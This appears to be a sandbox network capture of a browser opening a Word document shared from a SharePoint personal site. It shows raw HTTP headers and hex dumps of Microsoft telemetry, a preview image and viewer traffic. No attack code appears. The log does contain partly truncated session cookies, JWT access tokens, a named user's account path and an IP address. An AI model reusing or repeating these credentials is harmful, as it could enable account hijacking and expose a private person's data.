2024-06-05 14:16:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-06-05 14:16:30 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=179602 Date: Wed, 05 Jun 2024 14:16:30 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:30 UTC	745	OUT	POST /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346 HTTP/1.1 Host: ukc-word-view.officeapps.live.com Connection: keep-alive Content-Length: 109 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://midlandlangarsevasociety-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://midlandlangarsevasociety-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-05 14:16:30 UTC	109	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 57 6f 72 64 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 32 30 32 34 30 35 32 32 2e 33 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 69 6e 69 74 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"Word\",\"build\":\"20240522.3\",\"state\":\"init\"}"}
2024-06-05 14:16:31 UTC	998	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" X-CorrelationId: 270e5b38-a086-4559-a9cc-94cfc0b18d12 X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: LN2PEPF0000C2A8 X-OfficeVersion: 16.0.17729.41007 X-OfficeCluster: GUK3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://midlandlangarsevasociety-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 9F3E69FA95DF48CE8E7C4DB738752631 Ref B: SN4AA2022405035 Ref C: 2024-06-05T14:16:30Z Date: Wed, 05 Jun 2024 14:16:30 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:31 UTC	771	OUT	POST /wv/RemoteUls.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&officeserverversion=20240522.3 HTTP/1.1 Host: ukc-word-view.officeapps.live.com Connection: keep-alive Content-Length: 6290 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://midlandlangarsevasociety-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://midlandlangarsevasociety-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-05 14:16:31 UTC	6290	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 37 35 39 36 39 38 39 39 38 31 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 33 35 30 36 38 33 37 2c 22 54 22 3a 2d 38 2c 22 4d 22 3a 22 7b 5c 22 63 72 79 70 74 6f 5c 22 3a 74 72 75 65 2c 5c 22 70 65 72 66 4e 6f 77 5c 22 3a 66 61 6c 73 65 2c 5c 22 65 78 63 65 70 74 69 6f 6e 73 5c 22 3a 5b 5d 7d 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 34 36 35 34 35 34 32 2c 22 54 22 3a 2d 34 2c 22 4d 22 3a 22 52 75 6e 6e 69 6e 67 20 66 6c 6f 77 3a 20 62 6f 6f 74 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 34 36 35 34 35 34 31 2c 22 54 22 3a 2d 31 2c 22 4d 22 3a 22 52 61 69 73 69 6e 67 20 65 76 65 6e 74 3a 20 4d 6f 64 65 53 77 69 74 63 68 65 64 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 Data Ascii: {"T":1717596989981,"L":[{"G":593506837,"T":-8,"M":"{\"crypto\":true,\"perfNow\":false,\"exceptions\":[]}","C":379,"D":50},{"G":574654542,"T":-4,"M":"Running flow: boot","C":379,"D":50},{"G":574654541,"T":-1,"M":"Raising event: ModeSwitched","C":379,"D":50
2024-06-05 14:16:31 UTC	4551	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" X-CorrelationId: 6b528b50-42de-4818-81ed-ed0c68cf93db X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: LN2PEPF0000BE4B X-OfficeVersion: 16.0.17730.41010 X-OfficeCluster: GUK5 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://midlandlangarsevasociety-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 91BBA7025652F089D083D4D7B9FF110861C4E9EE X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6112080,6375195,6572226,6948167,7369243,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38884163,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://wordonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-SN4r8a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2pfz=afd_wordcapacity_4,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_4,afd_excelslicetest X-MSEdge-Ref: Ref A: 1FC787154D504F1FA11F6332B896A84A Ref B: SN4AA2022402049 Ref C: 2024-06-05T14:16:31Z Date: Wed, 05 Jun 2024 14:16:31 GMT Connection: close Content-Length: 0

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:31 UTC	3633	OUT	GET /personal/sharon_bharaj_mlss_org_uk/_api/v2.1/drives/b!VAkq-KyGZ06iZs0vuJvcEQR0d_5uJbhJprofR_Q-SNgT0LlrWXl6T6kIvJiP6404/items/01P3ILRDLIQYKFMIJ6DNHY6PTDWGLVYRUK/streams/content_preview_Op1.img/streamContent?tempauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbWlkbGFuZGxhbmdhcnNldmFzb2NpZXR5LW15LnNoYXJlcG9pbnQuY29tQGZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsImNpZCI6Im9TK3U3OElBQUpBUEthMGJkM3NGUHc9PSIsImVuZHBvaW50dXJsIjoiVDM0WmxTbG1PT3ZjWCs2UnM1UUNHV3RxRDdNbFJmNUVCWitSUXFJM0FkND0iLCJlbmRwb2ludHVybExlbmd0aCI6IjIxMCIsImV4cCI6IjE3MTc2MzI5ODgiLCJpcGFkZHIiOiIxNzMuMjU0LjI1MC45MSIsImlzbG9vcGJhY2siOiJUcnVlIiwiaXNzIjoiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwIiwiaXN1c2VyIjoidHJ1ZSIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU [TRUNCATED] Host: midlandlangarsevasociety-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4eUFI [TRUNCATED]
2024-06-05 14:16:32 UTC	3383	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 17592 Content-Type: application/octet-stream Expires: -1 Accept-Ranges: bytes ETag: "{56148668-3E21-4F1B-8F3E-63B1975C468A},21" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4 [TRUNCATED] X-NetworkStatistics: 0,525568,0,0,250,0,24241,116 X-SharePointHealthScore: 0 X-VroomVersion: 2.1 CTag: "c:{56148668-3e21-4f1b-8f3e-63b1975c468a},1" X-AspNet-Version: 4.0.30319 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: f0ae2fa1-1097-9000-0f29-a175438d84b3 request-id: f0ae2fa1-1097-9000-0f29-a175438d84b3 MS-CV: oS+u8JcQAJAPKaF1Q42Esw.0 SPRequestDuration: 50 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-DFW31r5d&frontEnd=AFD&RemoteIP=173.254.250.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com goals.cloud.microsoft .powerapps.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-WOPI-Diagnostics: {"SSRCacheHitStatus":"SSRFoundInCache"} X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.24915 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 044FEA1E33D04C728CF24B64AB9B7A7B Ref B: DFW311000107009 Ref C: 2024-06-05T14:16:31Z Date: Wed, 05 Jun 2024 14:16:31 GMT Connection: close
2024-06-05 14:16:32 UTC	787	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 30 00 00 04 20 08 03 00 00 00 0e a7 49 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 01 cb 50 4c 54 45 ff ff ff 00 00 00 80 80 80 c0 c0 c0 ff 00 00 00 2d 65 66 c0 ff b6 7b 65 00 2d 81 90 e0 ff ff e0 b6 3a 2d 65 ff c0 9c 00 56 b6 b6 e0 cf 66 2d 65 00 2d 9c b6 ff ff ff ff cf 00 7b cf 3a 9e e7 00 56 9c b6 e0 ff ff e0 cf 66 56 65 3a 2d 9c ff ff e7 b6 9e 81 3a 7b cf db e0 ff db e0 cf db ff ff 90 56 65 66 56 81 90 c0 e7 b6 7b 81 db 9e 81 db c0 b6 66 7b b6 ff e0 e7 db c0 cf 90 7b b6 ff c0 b6 3a 9e cf 3a 7b b6 90 7b 81 db c0 9c 3a 56 81 90 c0 cf b6 9e b6 90 9e 9c 66 7b 81 90 56 9c 3a 56 9c 90 c0 ff b6 c0 cf db 9e 9c 66 9e e7 3a 2d 81 66 2d 81 b6 66 00 00 66 Data Ascii: PNGIHDR0 I<sRGBgAMAaPLTE-ef{e-:-eVf-e-{:VfVe:-:{VefV{f{{::{{:Vf{V:Vf:-f-ff
2024-06-05 14:16:32 UTC	8192	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 f3 66 f7 f9 93 2d 01 6c 01 cf 3f 9c 49 18 d8 22 48 18 80 0d 20 61 00 36 80 84 01 d8 00 12 06 60 03 48 18 80 0d c8 70 fe 4f 26 84 ec 92 20 61 60 8b a8 84 89 99 f3 37 2e 37 c4 49 18 d8 22 2e 90 30 2b 57 a7 05 0b 6a 8d 55 72 80 6b 48 86 f3 7c c2 cc 3e aa df 6d 29 30 2d 58 50 6b ac 92 03 5c 43 32 9c 57 1d 61 b4 58 ab 39 ef a5 a3 a0 a7 d1 22 ab e4 00 d7 90 0c 67 25 cc af fc 4a fc 2d 25 8c 27 43 fc 77 91 fd 4b 91 8e 3e d3 d2 65 56 c9 01 ae 21 19 ce 7e 84 f9 15 c3 66 73 47 18 cf 8a 40 8b 29 8a 7c c9 d2 a6 b0 c0 2a 39 c0 35 24 c3 39 4e c9 3c 5f 36 48 18 cd 5d 1e eb f3 ac 92 03 5c 43 32 9c 9f ee 08 a3 b9 cb eb 50 33 c7 2a 39 c0 35 24 c3 79 ed 35 4c fc d5 ed b2 31 61 fc bf 0a 7c 32 cf 2a Data Ascii: f-l?I"H a6`HpO& a`7.7I".0+WjUrkH\|>m)0-XPk\C2WaX9"g%J-%'CwK>eV!~fsG@)\|95$9N<_6H]\C2P395$y5L1a\|2*
2024-06-05 14:16:32 UTC	4144	IN	Data Raw: 2c cc 80 94 b4 9a cb 79 b7 64 f3 49 d9 8a 84 89 74 30 d4 f6 18 a9 19 0b d6 8d 92 2e 34 a1 65 2f 37 7b ab 13 c6 8d 78 b3 e5 4d ef c3 e8 bf 28 3f 47 37 ca 62 c9 52 2c 54 bd 8a d3 68 24 cc 60 52 ea 4d 67 e3 ed 64 33 fd 6f 6d b4 c1 ea de 58 91 c8 aa 0b 09 93 da 46 b6 5a 8d df 34 e6 12 a6 b6 b0 09 34 1b 37 84 0f ef 24 61 52 a9 8e ec 65 49 26 06 e5 94 4a b3 8c 47 61 b4 e0 d2 5a c9 79 b7 d4 eb c6 bc 14 16 63 20 2d 7b 0b e5 4f ac fb cc 36 7a 49 cb 42 d6 8d 55 5b 33 7b ee d7 ca 53 32 2d f4 d3 a1 a1 0f 83 ff c2 97 6d 32 ba 51 16 4b 56 ee 0a 5b ae e2 34 ea 09 33 9a 94 7a e9 e4 e0 a7 85 d2 5a b7 9d 6c a6 ff 55 bf b7 de bd b1 22 91 55 67 4e c9 92 ac 59 06 6e 18 4b 09 a3 a1 09 a1 0d 89 8d 9d 9d b5 8f 1b 42 a5 27 0f be da 36 84 57 b5 bd f2 70 39 ed 96 34 9c 83 72 4a 07 Data Ascii: ,ydIt0.4e/7{xM(?G7bR,Th$`RMgd3omXFZ447$aReI&JGaZyc -{O6zIBU[3{S2-m2QKV[43zZlU"UgNYnKB'6Wp94rJ
2024-06-05 14:16:32 UTC	4469	IN	Data Raw: 60 9f 95 4b 31 02 cf 9d a7 78 87 44 e7 35 3a 33 b9 82 3c 7f d7 e6 5a 20 61 60 2d ba bf 74 25 f3 e5 83 70 6d a6 05 12 06 00 00 60 3b 58 f5 72 c7 e6 2f 7d 6c 5c 63 d3 0a 97 f1 1e ca 65 d8 b8 08 1f 54 3b f0 c1 b2 ea 2a 75 49 5e 37 60 a7 e8 fe 62 a2 1a c3 ea 84 d9 37 2b bc c2 cc c9 b3 ee 57 c6 ad cc c1 9c 2d 0e 2e 65 81 4e e9 c5 c5 4f c0 d7 38 e9 cf 22 a4 31 db d1 0d 59 1a 3e d8 12 56 6d d9 25 f9 85 12 66 15 7e 47 7f 11 0f de d9 84 91 6c f9 15 91 a1 81 de 6c 3e 84 bb 28 6b 9c 3c 78 ac 2f b6 db 39 fe 8a 9e 7d 3c 2b eb 06 03 ae 31 da 9b c7 ef b3 b4 87 fb b6 db 8e 57 22 da 9b 23 16 d6 f1 f0 4b 78 71 54 d4 63 ab f6 dc d3 7f 68 45 81 dc 4a fa 3b 1b 7a a6 d5 9e 60 d6 7b 2a de c4 dc 7b 25 f9 c4 f1 34 1e 01 66 db f9 7b 2d 7a aa 67 47 94 c5 84 09 9b 55 96 0d a7 a7 21 Data Ascii: `K1xD5:3<Z a`-t%pm`;Xr/}l\ceT;uI^7`b7+W-.eNO8"1Y>Vm%f~Gll>(k<x/9}<+1W"#KxqTchEJ;z`{{%4f{-zgGU!

Timestamp	Bytes transferred	Direction	Data
2024-06-05 14:16:31 UTC	1618	OUT	POST /wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=docaspx&muv=1&cac=1&sams=1&mtf=1&sfp=1&sdp=1&hch=1&hwfh=1&readonly=1&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&ctp=LeastProtected&rct=Normal&wdorigin=Sharing.ClientRedirect&wdredirectionreason=Unified_ViewActionUrl HTTP/1.1 Host: ukc-word-view.officeapps.live.com Connection: keep-alive Content-Length: 5034 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://midlandlangarsevasociety-my.sharepoint.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://midlandlangarsevasociety-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-05 14:16:31 UTC	5034	OUT	Data Raw: 68 69 67 68 64 70 69 3d 66 61 6c 73 65 26 73 6f 66 74 62 6c 6f 63 6b 65 64 62 72 6f 77 73 65 72 3d 66 61 6c 73 65 26 68 6f 73 74 6e 61 6d 65 3d 73 68 61 72 65 70 6f 69 6e 74 63 6f 6d 26 66 65 61 74 75 72 65 5f 73 74 61 74 75 73 3d 25 37 42 25 32 32 4f 66 66 69 63 65 43 6f 6d 45 78 63 65 6c 4a 73 41 70 69 56 32 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 4f 66 66 69 63 65 43 6f 6d 50 70 74 4a 73 41 70 69 56 32 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 4f 66 66 69 63 65 43 6f 6d 57 6f 72 64 4a 73 41 70 69 56 32 25 32 32 25 33 41 25 32 32 31 25 32 32 25 37 44 26 6a 73 61 70 69 62 75 69 6c 64 3d 32 30 32 34 30 35 32 32 2e 33 26 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 Data Ascii: highdpi=false&softblockedbrowser=false&hostname=sharepointcom&feature_status=%7B%22OfficeComExcelJsApiV2%22%3A%221%22%2C%22OfficeComPptJsApiV2%22%3A%221%22%2C%22OfficeComWordJsApiV2%22%3A%221%22%7D&jsapibuild=20240522.3&access_token=eyJ0eXAiOiJKV1QiLCJhbG
2024-06-05 14:16:31 UTC	3909	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; path=/; samesite=none; secure; partitioned X-CorrelationId: 7d777aeb-6724-5443-6f2d-afb3c7edf346 X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * Origin-Trial: AtFKAQdG+ydQM/bvbc5Qxv930XARVdP6iEmsQLrizs1HYDZnXMf7/f8oOaknwmnnXoTmlFWim3Ptj/bW7MfeElEAAABteyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiaXNTdWJkb21haW4iOnRydWUsImZlYXR1cmUiOiJIYXB0aWNzRGV2aWNlIiwiZXhwaXJ5IjoxNzQ0MzA5NDUyfQ== Origin-Trial: AhQJUzE5LCv5KHvmQov3fZhTT0W3oRbJWD7uk+pw4EemPcV5dWZzr8wiGtZj/dh81uDAw0I9lZ30j8otVRSRQwYAAABkeyJvcmlnaW4iOiJodHRwczovL29mZmljZWFwcHMubGl2ZS5jb206NDQzIiwiZmVhdHVyZSI6IlRwY2QiLCJleHBpcnkiOjE3MzUzNDM5OTksImlzU3ViZG9tYWluIjp0cnVlfQ== 